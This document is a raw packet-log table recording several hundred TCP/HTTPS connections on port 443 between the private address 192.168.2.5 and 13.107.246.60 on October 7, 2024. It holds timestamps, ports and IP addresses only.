Oct 7, 2024 17:22:47.026498079 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.026509047 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.026511908 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.027707100 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.027729034 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.027797937 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.027946949 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.027960062 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.028599024 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.028654099 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.028732061 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.028866053 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.028894901 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.035564899 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.035979986 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.036010981 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.036371946 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.036382914 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.139137983 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.139369965 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.139421940 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.139429092 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.139503956 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.139709949 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.139740944 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.139767885 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.139781952 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.142502069 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.142538071 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.142641068 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.142754078 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.142766953 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.761868000 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.762284040 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.762310028 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.762377977 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.762475967 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.762614012 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.762708902 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.762715101 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.762913942 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.762928963 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.763254881 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.763261080 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.763448000 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.763461113 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.763777971 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.763787985 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.763947964 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.763964891 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.764270067 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.764276981 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.764637947 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.764980078 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.765003920 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.765384912 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.765396118 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.857367992 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.857539892 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.857749939 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.857750893 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.857750893 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.858419895 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.858659029 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.859164953 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.859194040 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.859224081 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.859251022 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.859277964 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.859302044 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.859313011 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.859318018 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860183954 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.860224009 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860260963 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.860275984 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860546112 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860548019 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.860572100 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860620975 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.860805035 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860846043 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.860871077 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860897064 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.860944033 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.861037970 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.861057043 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.861078978 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.861084938 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.861089945 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.861100912 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.861926079 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.861958981 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.862020969 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.862158060 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.862176895 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.862979889 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.863010883 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.863075972 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.863218069 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.863230944 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.863306046 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.863313913 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.863368988 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.863466978 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.863477945 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.865183115 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.865576982 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.865637064 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.865679026 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.865684032 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.865693092 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.865695000 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.868168116 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.868196011 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:47.868272066 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.868383884 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:47.868401051 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.170851946 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.170924902 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.479826927 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.480576992 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.480614901 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.481045961 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.481053114 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.482285976 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.482569933 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.482608080 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.482920885 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.482929945 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.491637945 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.491986990 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.492002010 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.492325068 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.492330074 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.492986917 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.493226051 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.493252039 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.493550062 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.493561029 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.493597984 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.493812084 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.493845940 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.494128942 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.494134903 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.573335886 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.573513985 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.573743105 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.573796034 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.573796034 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.573827028 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.573837996 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.576641083 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.576689959 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.576776981 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.576940060 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.576953888 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.577653885 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.577701092 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.577755928 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.577811956 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.577914953 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.577933073 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.577944994 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.577950954 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.580226898 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.580307007 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.580378056 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.580513000 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.580538988 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.587507010 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.587625980 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.587707996 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.587747097 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.587765932 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.587779045 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.587784052 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.588306904 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.588584900 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.588668108 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.588850021 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.588850021 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.588866949 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.588886976 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.590322018 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.590333939 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.590418100 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.590534925 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.590544939 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.590548992 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.590585947 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.590639114 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.590775013 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.590786934 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.881370068 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.881396055 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.881443024 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.881499052 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.881542921 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.881828070 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.881858110 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.881886959 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.881892920 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.884776115 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.884818077 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:48.884902954 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.885036945 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:48.885047913 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.189213991 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.189553022 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.190279007 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.190315962 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.190619946 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.190625906 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.190826893 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.190855980 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.191179037 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.191206932 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.199553967 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.199913025 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.199924946 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.200309038 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.200314999 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.208326101 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.208631992 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.208647966 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.209018946 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.209024906 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.286935091 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.287895918 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.288086891 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.288086891 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.288088083 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.290709019 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.290740013 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.290819883 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.290992975 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.291004896 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.294126987 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.294454098 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.294507027 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.294536114 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.294555902 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.294583082 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.294589996 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.296567917 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.296576977 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.296639919 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.296751022 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.296762943 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.300167084 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.300714970 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.300781965 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.300862074 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.300862074 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.300904989 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.300932884 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.302830935 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.302870989 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.302943945 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.303096056 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.303107023 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.304761887 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.304965019 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.305013895 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.305013895 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.305064917 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.305103064 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.305107117 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.305115938 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.305119991 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.306924105 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.306942940 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.307156086 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.307156086 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.307179928 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.516963959 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.518608093 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.518624067 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.519082069 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.519085884 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.592680931 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.592713118 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.617980003 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.618041992 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.618195057 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.618288994 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.618309975 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.618323088 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.618329048 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.621653080 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.621706009 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.621773958 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.621891022 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.621901035 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.922122955 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.922663927 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.922693968 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.923125029 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.923130035 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.927565098 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.928101063 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.928117990 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.928478956 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.928488016 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.936423063 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.936835051 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.936897993 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.937166929 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.937180996 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.943958044 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.944366932 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.944380999 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:49.944772959 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:49.944777966 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.017123938 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.017323971 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.017625093 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.017626047 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.017626047 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.020040989 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.020083904 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.020153999 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.020282984 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.020301104 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.027679920 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.027877092 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.027935982 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.027970076 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.028006077 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:50.028058052 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.028094053 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:50.028094053 CEST	49901	443	192.168.2.5	13.107.246.60
